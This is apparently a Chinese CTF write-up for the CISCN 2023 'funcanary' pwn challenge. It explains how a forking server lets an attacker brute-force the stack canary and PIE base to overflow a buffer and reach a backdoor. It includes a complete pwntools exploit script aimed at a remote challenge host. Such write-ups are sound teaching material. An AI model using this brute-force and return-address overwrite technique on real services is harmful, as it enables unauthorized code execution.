【pwn】[CISCN 2023 初赛]funcanary --爆破canary和pie

拿到程序先查一下保护状态

可以发现保护全开，再看一下程序的逻辑

可以发现，这里有一个fork函数：

C语言中的fork()函数用于创建一个新的进程，该进程是原始进程（父进程）的一个副本。这个副本将从fork()函数之后的代码行开始执行，父进程和子进程在此处分别继续执行不同的代码。
fork()函数的返回值有以下三种可能情况：
如果返回-1，表示创建新进程失败。 
如果返回0，表示当前进程是子进程。 
如果返回一个正整数，表示当前进程是父进程，返回的整数是子进程的进程ID。

就算说fork函数会开启一个子进程，然后根据while，可以发现这个程序会不断开启子进程，我们再点进去sub_128A()函数看看

这里的buf偏移是0x70,所以该处存在栈溢出，但是程序开了canary(Canary 设计为以字节 \x00 结尾，本意是为了保证 Canary 可以截断字符串），但是我们可以利用上面的fork函数不断爆破canary的值。

在这里，大概可以判断canary的值在rbp的上面，又因为程序开了pie，导致rop难度很大，先找找有没有getshell的字符串，发现程序是有这样的代码段的

那这里的思路就明确了，这个pie还是得爆破一下

exp：

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

p = remote("node5.anna.nssctf.cn",28272)

p.recvuntil('welcome\n')

canary = b'\x00'  # 将初始的 canary 值改为字节串

for k in range(7):          #总共要爆破7位

    for i in range(256):

        payload = b'a' * 0x68 + canary + bytes([i])  # 将所有相关字符串改为字节串并使用 bytes([i]) 来构造字节串

        p.send(payload)

        data = p.recvuntil("welcome\n")

        print(data)

        if b"fun" in data:

            canary += bytes([i])  # 确保更新的 canary 也是字节串

            print("canary is:" + str(canary))

            break

back_door = 0x231

for i in range(15):

    num=i<<12

    payload = b'a' * 0x68 + p64(u64(canary)) + b'a' * 8 + p16(0x231+num)

    p.send(payload)

    flag=p.recv()

    if b"NSSCTF" in flag:

        print(str(flag))

        break

p.interactive()